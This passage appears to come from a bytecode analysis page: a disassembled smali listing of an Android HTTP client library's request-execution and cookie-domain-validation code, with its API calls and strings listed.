        193move-result-object v0
        195invoke-virtual {v0, p2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
        196move-result v0
        197if-eqz v0, :cond_10a
        198goto_109: return-void
        199cond_10a: new-instance v0, Lcz/msebera/android/httpclient/cookie/CookieRestrictionViolationException;
        200new-instance v1, Ljava/lang/StringBuilder;
        202invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        204const-string v2, "Illegal domain attribute: \""
        206invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        208invoke-interface {p1}, Lcz/msebera/android/httpclient/cookie/Cookie;->getDomain()Ljava/lang/String;
        209move-result-object p1
        211invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        213const-string p1, "\"."
        215invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        217const-string p1, "Domain of origin: \""
        219invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        221invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        223const-string p1, "\""
        225invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        227invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        228move-result-object p1
        230invoke-direct {v0, p1}, Lcz/msebera/android/httpclient/cookie/CookieRestrictionViolationException;-><init>(Ljava/lang/String;)V
        231throw v0
        232cond_137: new-instance p1, Lcz/msebera/android/httpclient/cookie/CookieRestrictionViolationException;
        234const-string p2, "Invalid cookie state: domain not specified"
        236invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/cookie/CookieRestrictionViolationException;-><init>(Ljava/lang/String;)V
        237throw p1
        APIs
        • cz.msebera.android.httpclient.impl.execchain.RequestAbortedException.<init>
        • cz.msebera.android.httpclient.client.NonRepeatableRequestException.<init>
        • cz.msebera.android.httpclient.impl.execchain.RequestAbortedException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.impl.execchain.TunnelRefusedException.getMessage
        • cz.msebera.android.httpclient.impl.execchain.TunnelRefusedException.getResponse
        • cz.msebera.android.httpclient.impl.execchain.RequestAbortedException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.io.InterruptedIOException.<init>
        • java.io.InterruptedIOException.initCause
        • java.util.concurrent.ExecutionException.getCause
        • cz.msebera.android.httpclient.impl.execchain.RequestAbortedException.<init>
        • java.lang.Thread.currentThread
        • java.lang.Thread.interrupt
        • cz.msebera.android.httpclient.impl.execchain.RequestAbortedException.<init>
        Strings
        • HTTP route
        • HTTP request
        • HTTP context
        • http.auth.target-scope
        • http.auth.proxy-scope
        • Request aborted
        • http.connection
        • Stale connection check
        • Stale connection detected
        • Cannot retry request with a non-repeatable request entity.
        • Opening connection
        • Executing request
        • Authorization
        • Target auth state:
        • Proxy-Authorization
        • Proxy auth state:
        • for
        • indefinitely
        • Connection can be kept alive
        • Resetting proxy auth state
        • Resetting target auth state
        • http.user-token
        • Connection has been shut down
        • Request execution failed
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/io/IOException;,
        3Lcz/msebera/android/httpclient/HttpException;
        4}
        5.end annotation
        6move-object/from16 v7, p0
        7move-object/from16 v8, p1
        8move-object/from16 v9, p2
        9move-object/from16 v10, p3
        10move-object/from16 v11, p4
        12const-string v1, "HTTP route"
        14invoke-static {v8, v1}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        16const-string v1, "HTTP request"
        18invoke-static {v9, v1}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        20const-string v1, "HTTP context"
        22invoke-static {v10, v1}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        24invoke-virtual/range {p3 .. p3}, Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;->getTargetAuthState()Lcz/msebera/android/httpclient/auth/AuthState;
        25move-result-object v1
        26if-nez v1, :cond_29
        27new-instance v1, Lcz/msebera/android/httpclient/auth/AuthState;
        29invoke-direct {v1}, Lcz/msebera/android/httpclient/auth/AuthState;-><init>()V
        31const-string v2, "http.auth.target-scope"
        33invoke-virtual {v10, v2, v1}, Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;->setAttribute(Ljava/lang/String;Ljava/lang/Object;)V
        34cond_29: move-object v12, v1
        36invoke-virtual/range {p3 .. p3}, Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;->getProxyAuthState()Lcz/msebera/android/httpclient/auth/AuthState;
        37move-result-object v1
        38if-nez v1, :cond_3a
        39new-instance v1, Lcz/msebera/android/httpclient/auth/AuthState;
        41invoke-direct {v1}, Lcz/msebera/android/httpclient/auth/AuthState;-><init>()V
        43const-string v2, "http.auth.proxy-scope"
        45invoke-virtual {v10, v2, v1}, Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;->setAttribute(Ljava/lang/String;Ljava/lang/Object;)V
        46cond_3a: move-object v13, v1
        47instance-of v1, v9, Lcz/msebera/android/httpclient/HttpEntityEnclosingRequest;
        48if-eqz v1, :cond_45
        49move-object v1, v9
        50check-cast v1, Lcz/msebera/android/httpclient/HttpEntityEnclosingRequest;
        52invoke-static {v1}, Lcz/msebera/android/httpclient/impl/execchain/RequestEntityProxy;->enhance(Lcz/msebera/android/httpclient/HttpEntityEnclosingRequest;)V
        53cond_45:
        54invoke-virtual/range {p3 .. p3}, Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;->getUserToken()Ljava/lang/Object;
        55move-result-object v14
        57iget-object v1, v7, Lcz/msebera/android/httpclient/impl/execchain/MainClientExec;->connManager:Lcz/msebera/android/httpclient/conn/HttpClientConnectionManager;
        59invoke-interface {v1, v8, v14}, Lcz/msebera/android/httpclient/conn/HttpClientConnectionManager;->requestConnection(Lcz/msebera/android/httpclient/conn/routing/HttpRoute;Ljava/lang/Object;)Lcz/msebera/android/httpclient/conn/ConnectionRequest;
        60move-result-object v1
        61if-eqz v11, :cond_66
        63invoke-interface/range {p4 .. p4}, Lcz/msebera/android/httpclient/client/methods/HttpExecutionAware;->isAborted()Z
        64move-result v2
        65if-nez v2, :cond_5b
        67invoke-interface {v11, v1}, Lcz/msebera/android/httpclient/client/methods/HttpExecutionAware;->setCancellable(Lcz/msebera/android/httpclient/concurrent/Cancellable;)V
        68goto/16 :goto_66
        69cond_5b:
        70invoke-interface {v1}, Lcz/msebera/android/httpclient/conn/ConnectionRequest;->cancel()Z
        71new-instance v1, Lcz/msebera/android/httpclient/impl/execchain/RequestAbortedException;
        73const-string v2, "Request aborted"
        75invoke-direct {v1, v2}, Lcz/msebera/android/httpclient/impl/execchain/RequestAbortedException;-><init>(Ljava/lang/String;)V
        76throw v1
        77cond_66:
        78invoke-virtual/range {p3 .. p3}, Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;->getRequestConfig()Lcz/msebera/android/httpclient/client/config/RequestConfig;
        79move-result-object v15
        80try_start_6a:
        81invoke-virtual {v15}, Lcz/msebera/android/httpclient/client/config/RequestConfig;->getConnectionRequestTimeout()I
        82move-result v2
        83const-wide/16 v16, 0x0
        84if-lez v2, :cond_74
        85int-to-long v2, v2
        86goto/16 :goto_76
        87cond_74: move-wide/from16 v2, v16
        88goto_76:
        89sget-object v4, Ljava/util/concurrent/TimeUnit;->MILLISECONDS:Ljava/util/concurrent/TimeUnit;
        91invoke-interface {v1, v2, v3, v4}, Lcz/msebera/android/httpclient/conn/ConnectionRequest;->get(JLjava/util/concurrent/TimeUnit;)Lcz/msebera/android/httpclient/HttpClientConnection;
        92move-result-object v6
        93try_end_7c:
        94const-string v1, "http.connection"
        96invoke-virtual {v10, v1, v6}, Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;->setAttribute(Ljava/lang/String;Ljava/lang/Object;)V
        98invoke-virtual {v15}, Lcz/msebera/android/httpclient/client/config/RequestConfig;->isStaleConnectionCheckEnabled()Z
        99move-result v1
        100if-eqz v1, :cond_a4
        102invoke-interface {v6}, Lcz/msebera/android/httpclient/HttpClientConnection;->isOpen()Z
        103move-result v1
        104if-eqz v1, :cond_a4
        106iget-object v1, v7, Lcz/msebera/android/httpclient/impl/execchain/MainClientExec;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        108const-string v2, "Stale connection check"
        110invoke-virtual {v1, v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        112invoke-interface {v6}, Lcz/msebera/android/httpclient/HttpClientConnection;->isStale()Z
        113move-result v1
        114if-eqz v1, :cond_a4
        116iget-object v1, v7, Lcz/msebera/android/httpclient/impl/execchain/MainClientExec;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        118const-string v2, "Stale connection detected"
        120invoke-virtual {v1, v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        122invoke-interface {v6}, Lcz/msebera/android/httpclient/HttpClientConnection;->close()V
        123cond_a4: new-instance v5, Lcz/msebera/android/httpclient/impl/execchain/ConnectionHolder;
        125iget-object v1, v7, Lcz/msebera/android/httpclient/impl/execchain/MainClientExec;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        127iget-object v2, v7, Lcz/msebera/android/httpclient/impl/execchain/MainClientExec;->connManager:Lcz/msebera/android/httpclient/conn/HttpClientConnectionManager;
        129invoke-direct {v5, v1, v2, v6}, Lcz/msebera/android/httpclient/impl/execchain/ConnectionHolder;-><init>(Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;Lcz/msebera/android/httpclient/conn/HttpClientConnectionManager;Lcz/msebera/android/httpclient/HttpClientConnection;)V
        130if-eqz v11, :cond_c6
        131try_start_af:
        132invoke-interface {v11, v5}, Lcz/msebera/android/httpclient/client/methods/HttpExecutionAware;->setCancellable(Lcz/msebera/android/httpclient/concurrent/Cancellable;)V
        133goto/16 :goto_c6
        134catch_b3: move-exception v0
        135move-object v1, v0
        136move-object v8, v5
        137goto/16 :goto_309
        138catch_b8: move-exception v0
        139move-object v1, v0
        140move-object v8, v5
        141goto/16 :goto_310
        142catch_bd: move-exception v0
        143move-object v1, v0
        144move-object v8, v5
        145goto/16 :goto_317
        146catch_c2: move-exception v0
        147move-object v1, v0
        148goto/16 :goto_31b
        149cond_c6: const/4 v4, 0x1
        150const/4 v3, 0x1
        151goto_c8: if-le v3, v4, :cond_d9
        153invoke-static/range {p2 .. p2}, Lcz/msebera/android/httpclient/impl/execchain/RequestEntityProxy;->isRepeatable(Lcz/msebera/android/httpclient/HttpRequest;)Z
        154move-result v1
        155if-eqz v1, :cond_d1
        156goto/16 :goto_d9
        157cond_d1: new-instance v1, Lcz/msebera/android/httpclient/client/NonRepeatableRequestException;
        159const-string v2, "Cannot retry request with a non-repeatable request entity."
        161invoke-direct {v1, v2}, Lcz/msebera/android/httpclient/client/NonRepeatableRequestException;-><init>(Ljava/lang/String;)V
        162throw v1
        163cond_d9: if-eqz v11, :cond_ea
        165invoke-interface/range {p4 .. p4}, Lcz/msebera/android/httpclient/client/methods/HttpExecutionAware;->isAborted()Z
        166move-result v1
        167if-nez v1, :cond_e2
        168goto/16 :goto_ea
        169cond_e2: new-instance v1, Lcz/msebera/android/httpclient/impl/execchain/RequestAbortedException;
        171const-string v2, "Request aborted"
        173invoke-direct {v1, v2}, Lcz/msebera/android/httpclient/impl/execchain/RequestAbortedException;-><init>(Ljava/lang/String;)V
        174throw v1
        175cond_ea:
        176invoke-interface {v6}, Lcz/msebera/android/httpclient/HttpClientConnection;->isOpen()Z
        177move-result v1
        178if-nez v1, :cond_136
        180iget-object v1, v7, Lcz/msebera/android/httpclient/impl/execchain/MainClientExec;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        181new-instance v2, Ljava/lang/StringBuilder;
        183invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
        185const-string v4, "Opening connection "
        187invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        189invoke-virtual {v2, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        191invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        192move-result-object v2
        194invoke-virtual {v1, v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        195try_end_106: move-object/from16 v1, p0
        196move-object v2, v13
        197move/from16 v19, v3
        198move-object v3, v6
        199const/16 v18, 0x1
        200move-object/from16 v4, p1
        201move-object v8, v5
        202move-object/from16 v5, p2
        203move-object/from16 v20, v14
        204move-object v14, v6
        205move-object/from16 v6, p3
        206try_start_118:
        207invoke-virtual/range {v1 .. v6}, Lcz/msebera/android/httpclient/impl/execchain/MainClientExec;->establishRoute(Lcz/msebera/android/httpclient/auth/AuthState;Lcz/msebera/android/httpclient/HttpClientConnection;Lcz/msebera/android/httpclient/conn/routing/HttpRoute;Lcz/msebera/android/httpclient/HttpRequest;Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;)V
        208try_end_11b: goto/16 :goto_13e
        209catch_11c: move-exception v0
        210move-object v1, v0
        211try_start_11e:
        212iget-object v2, v7, Lcz/msebera/android/httpclient/impl/execchain/MainClientExec;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        214invoke-virtual {v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        215move-result v2
        216if-eqz v2, :cond_12f
        218iget-object v2, v7, Lcz/msebera/android/httpclient/impl/execchain/MainClientExec;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        220invoke-virtual {v1}, Lcz/msebera/android/httpclient/impl/execchain/TunnelRefusedException;->getMessage()Ljava/lang/String;
        221move-result-object v3
        223invoke-virtual {v2, v3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        224cond_12f:
        225invoke-virtual {v1}, Lcz/msebera/android/httpclient/impl/execchain/TunnelRefusedException;->getResponse()Lcz/msebera/android/httpclient/HttpResponse;
        226move-result-object v1
        227move-object v11, v1
        228goto/16 :goto_2ce
        229cond_136: move/from16 v19, v3
        230move-object v8, v5
        231move-object/from16 v20, v14
        232const/16 v18, 0x1
        233move-object v14, v6
        234goto_13e:
        235invoke-virtual {v15}, Lcz/msebera/android/httpclient/client/config/RequestConfig;->getSocketTimeout()I
        236move-result v1
        237if-ltz v1, :cond_147
        239invoke-interface {v14, v1}, Lcz/msebera/android/httpclient/HttpClientConnection;->setSocketTimeout(I)V
        240cond_147: if-eqz v11, :cond_158
        242invoke-interface/range {p4 .. p4}, Lcz/msebera/android/httpclient/client/methods/HttpExecutionAware;->isAborted()Z
        243move-result v1
        244if-nez v1, :cond_150
        245goto/16 :goto_158
        246cond_150: new-instance v1, Lcz/msebera/android/httpclient/impl/execchain/RequestAbortedException;
        248const-string v2, "Request aborted"
        250invoke-direct {v1, v2}, Lcz/msebera/android/httpclient/impl/execchain/RequestAbortedException;-><init>(Ljava/lang/String;)V
        251throw v1
        252cond_158:
        253iget-object v1, v7, Lcz/msebera/android/httpclient/impl/execchain/MainClientExec;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        255invoke-virtual {v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        256move-result v1
        257if-eqz v1, :cond_17a
        259iget-object v1, v7, Lcz/msebera/android/httpclient/impl/execchain/MainClientExec;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        260new-instance v2, Ljava/lang/StringBuilder;
        262invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
        264const-string v3, "Executing request "
        266invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        268invoke-virtual/range {p2 .. p2}, Lcz/msebera/android/httpclient/client/methods/HttpRequestWrapper;->getRequestLine()Lcz/msebera/android/httpclient/RequestLine;
        269move-result-object v3
        271invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        273invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        274move-result-object v2
        276invoke-virtual {v1, v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        277cond_17a:
        278const-string v1, "Authorization"
        280invoke-virtual {v9, v1}, Lcz/msebera/android/httpclient/client/methods/HttpRequestWrapper;->containsHeader(Ljava/lang/String;)Z
        281move-result v1
        282if-nez v1, :cond_1a9
        284iget-object v1, v7, Lcz/msebera/android/httpclient/impl/execchain/MainClientExec;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        286invoke-virtual {v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        287move-result v1
        288if-eqz v1, :cond_1a4
        290iget-object v1, v7, Lcz/msebera/android/httpclient/impl/execchain/MainClientExec;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        291new-instance v2, Ljava/lang/StringBuilder;
        293invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
        295const-string v3, "Target auth state: "
        297invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        299invoke-virtual {v12}, Lcz/msebera/android/httpclient/auth/AuthState;->getState()Lcz/msebera/android/httpclient/auth/AuthProtocolState;
        300move-result-object v3
        302invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        304invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        305move-result-object v2
        307invoke-virtual {v1, v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        308cond_1a4:
        309iget-object v1, v7, Lcz/msebera/android/httpclient/impl/execchain/MainClientExec;->authenticator:Lcz/msebera/android/httpclient/impl/auth/HttpAuthenticator;
        311invoke-virtual {v1, v9, v12, v10}, Lcz/msebera/android/httpclient/impl/auth/HttpAuthenticator;->generateAuthResponse(Lcz/msebera/android/httpclient/HttpRequest;Lcz/msebera/android/httpclient/auth/AuthState;Lcz/msebera/android/httpclient/protocol/HttpContext;)V
        312cond_1a9:
        313const-string v1, "Proxy-Authorization"
        315invoke-virtual {v9, v1}, Lcz/msebera/android/httpclient/client/methods/HttpRequestWrapper;->containsHeader(Ljava/lang/String;)Z
        316move-result v1
        317if-nez v1, :cond_1de
        319invoke-virtual/range {p1 .. p1}, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;->isTunnelled()Z
        320move-result v1
        321if-nez v1, :cond_1de
        323iget-object v1, v7, Lcz/msebera/android/httpclient/impl/execchain/MainClientExec;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        325invoke-virtual {v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        326move-result v1
        327if-eqz v1, :cond_1d9
        329iget-object v1, v7, Lcz/msebera/android/httpclient/impl/execchain/MainClientExec;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        330new-instance v2, Ljava/lang/StringBuilder;
        332invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
        334const-string v3, "Proxy auth state: "
        336invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        338invoke-virtual {v13}, Lcz/msebera/android/httpclient/auth/AuthState;->getState()Lcz/msebera/android/httpclient/auth/AuthProtocolState;
        339move-result-object v3
        341invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        343invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        344move-result-object v2
        346invoke-virtual {v1, v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        347cond_1d9:
        348iget-object v1, v7, Lcz/msebera/android/httpclient/impl/execchain/MainClientExec;->authenticator:Lcz/msebera/android/httpclient/impl/auth/HttpAuthenticator;
        350invoke-virtual {v1, v9, v13, v10}, Lcz/msebera/android/httpclient/impl/auth/HttpAuthenticator;->generateAuthResponse(Lcz/msebera/android/httpclient/HttpRequest;Lcz/msebera/android/httpclient/auth/AuthState;Lcz/msebera/android/httpclient/protocol/HttpContext;)V
        351cond_1de:
        352iget-object v1, v7, Lcz/msebera/android/httpclient/impl/execchain/MainClientExec;->requestExecutor:Lcz/msebera/android/httpclient/protocol/HttpRequestExecutor;
        354invoke-virtual {v1, v9, v14, v10}, Lcz/msebera/android/httpclient/protocol/HttpRequestExecutor;->execute(Lcz/msebera/android/httpclient/HttpRequest;Lcz/msebera/android/httpclient/HttpClientConnection;Lcz/msebera/android/httpclient/protocol/HttpContext;)Lcz/msebera/android/httpclient/HttpResponse;
        355move-result-object v6
        357iget-object v1, v7, Lcz/msebera/android/httpclient/impl/execchain/MainClientExec;->reuseStrategy:Lcz/msebera/android/httpclient/ConnectionReuseStrategy;
        359invoke-interface {v1, v6, v10}, Lcz/msebera/android/httpclient/ConnectionReuseStrategy;->keepAlive(Lcz/msebera/android/httpclient/HttpResponse;Lcz/msebera/android/httpclient/protocol/HttpContext;)Z
        360move-result v1
        361if-eqz v1, :cond_23b
        363iget-object v1, v7, Lcz/msebera/android/httpclient/impl/execchain/MainClientExec;->keepAliveStrategy:Lcz/msebera/android/httpclient/conn/ConnectionKeepAliveStrategy;
        365invoke-interface {v1, v6, v10}, Lcz/msebera/android/httpclient/conn/ConnectionKeepAliveStrategy;->getKeepAliveDuration(Lcz/msebera/android/httpclient/HttpResponse;Lcz/msebera/android/httpclient/protocol/HttpContext;)J
        366move-result-wide v1
        368iget-object v3, v7, Lcz/msebera/android/httpclient/impl/execchain/MainClientExec;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        370invoke-virtual {v3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        371move-result v3
        372if-eqz v3, :cond_232
        373cmp-long v3, v1, v16
        374if-lez v3, :cond_21a
        375new-instance v3, Ljava/lang/StringBuilder;
        377invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
        379const-string v4, "for "
        381invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        383invoke-virtual {v3, v1, v2}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
        385const-string v4, " "
        387invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        389sget-object v4, Ljava/util/concurrent/TimeUnit;->MILLISECONDS:Ljava/util/concurrent/TimeUnit;
        391invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        393invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        394move-result-object v3
        395goto/16 :goto_21c
        396cond_21a:
        397const-string v3, "indefinitely"
        398goto_21c:
        399iget-object v4, v7, Lcz/msebera/android/httpclient/impl/execchain/MainClientExec;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        400new-instance v5, Ljava/lang/StringBuilder;
        402invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
        404const-string v11, "Connection can be kept alive "
        406invoke-virtual {v5, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        408invoke-virtual {v5, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        410invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        411move-result-object v3
        413invoke-virtual {v4, v3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        414cond_232:
        415sget-object v3, Ljava/util/concurrent/TimeUnit;->MILLISECONDS:Ljava/util/concurrent/TimeUnit;
        417invoke-virtual {v8, v1, v2, v3}, Lcz/msebera/android/httpclient/impl/execchain/ConnectionHolder;->setValidFor(JLjava/util/concurrent/TimeUnit;)V
        419invoke-virtual {v8}, Lcz/msebera/android/httpclient/impl/execchain/ConnectionHolder;->markReusable()V
        420goto/16 :goto_23e
        421cond_23b:
        422invoke-virtual {v8}, Lcz/msebera/android/httpclient/impl/execchain/ConnectionHolder;->markNonReusable()V
        423goto_23e: move-object/from16 v1, p0
        424move-object v2, v12
        425move-object v3, v13
        426move-object/from16 v4, p1
        427move-object v5, v6
        428move-object v11, v6
        429move-object/from16 v6, p3
        431invoke-direct/range {v1 .. v6}, Lcz/msebera/android/httpclient/impl/execchain/MainClientExec;->needAuthentication(Lcz/msebera/android/httpclient/auth/AuthState;Lcz/msebera/android/httpclient/auth/AuthState;Lcz/msebera/android/httpclient/conn/routing/HttpRoute;Lcz/msebera/android/httpclient/HttpResponse;Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;)Z
        432move-result v1
        433if-eqz v1, :cond_2ce
        435invoke-interface {v11}, Lcz/msebera/android/httpclient/HttpResponse;->getEntity()Lcz/msebera/android/httpclient/HttpEntity;
        436move-result-object v1
        438invoke-virtual {v8}, Lcz/msebera/android/httpclient/impl/execchain/ConnectionHolder;->isReusable()Z
        439move-result v2
        440if-eqz v2, :cond_25c
        442invoke-static {v1}, Lcz/msebera/android/httpclient/util/EntityUtils;->consume(Lcz/msebera/android/httpclient/HttpEntity;)V
        443goto/16 :goto_2a3
        444cond_25c:
        445invoke-interface {v14}, Lcz/msebera/android/httpclient/HttpClientConnection;->close()V
        447invoke-virtual {v13}, Lcz/msebera/android/httpclient/auth/AuthState;->getState()Lcz/msebera/android/httpclient/auth/AuthProtocolState;
        448move-result-object v1
        450sget-object v2, Lcz/msebera/android/httpclient/auth/AuthProtocolState;->SUCCESS:Lcz/msebera/android/httpclient/auth/AuthProtocolState;
        451if-ne v1, v2, :cond_281
        453invoke-virtual {v13}, Lcz/msebera/android/httpclient/auth/AuthState;->getAuthScheme()Lcz/msebera/android/httpclient/auth/AuthScheme;
        454move-result-object v1
        455if-eqz v1, :cond_281
        457invoke-virtual {v13}, Lcz/msebera/android/httpclient/auth/AuthState;->getAuthScheme()Lcz/msebera/android/httpclient/auth/AuthScheme;
        458move-result-object v1
        460invoke-interface {v1}, Lcz/msebera/android/httpclient/auth/AuthScheme;->isConnectionBased()Z
        461move-result v1
        462if-eqz v1, :cond_281
        464iget-object v1, v7, Lcz/msebera/android/httpclient/impl/execchain/MainClientExec;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        466const-string v2, "Resetting proxy auth state"
        468invoke-virtual {v1, v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        470invoke-virtual {v13}, Lcz/msebera/android/httpclient/auth/AuthState;->reset()V
        471cond_281:
        472invoke-virtual {v12}, Lcz/msebera/android/httpclient/auth/AuthState;->getState()Lcz/msebera/android/httpclient/auth/AuthProtocolState;
        473move-result-object v1
        475sget-object v2, Lcz/msebera/android/httpclient/auth/AuthProtocolState;->SUCCESS:Lcz/msebera/android/httpclient/auth/AuthProtocolState;
        476if-ne v1, v2, :cond_2a3
        478invoke-virtual {v12}, Lcz/msebera/android/httpclient/auth/AuthState;->getAuthScheme()Lcz/msebera/android/httpclient/auth/AuthScheme;
        479move-result-object v1
        480if-eqz v1, :cond_2a3
        482invoke-virtual {v12}, Lcz/msebera/android/httpclient/auth/AuthState;->getAuthScheme()Lcz/msebera/android/httpclient/auth/AuthScheme;
        483move-result-object v1
        485invoke-interface {v1}, Lcz/msebera/android/httpclient/auth/AuthScheme;->isConnectionBased()Z
        486move-result v1
        487if-eqz v1, :cond_2a3
        489iget-object v1, v7, Lcz/msebera/android/httpclient/impl/execchain/MainClientExec;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        491const-string v2, "Resetting target auth state"
        493invoke-virtual {v1, v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        495invoke-virtual {v12}, Lcz/msebera/android/httpclient/auth/AuthState;->reset()V
        496goto_2a3:
        497invoke-virtual/range {p2 .. p2}, Lcz/msebera/android/httpclient/client/methods/HttpRequestWrapper;->getOriginal()Lcz/msebera/android/httpclient/HttpRequest;
        498move-result-object v1
        500const-string v2, "Authorization"
        502invoke-interface {v1, v2}, Lcz/msebera/android/httpclient/HttpRequest;->containsHeader(Ljava/lang/String;)Z
        503move-result v2
        504if-nez v2, :cond_2b4
        506const-string v2, "Authorization"
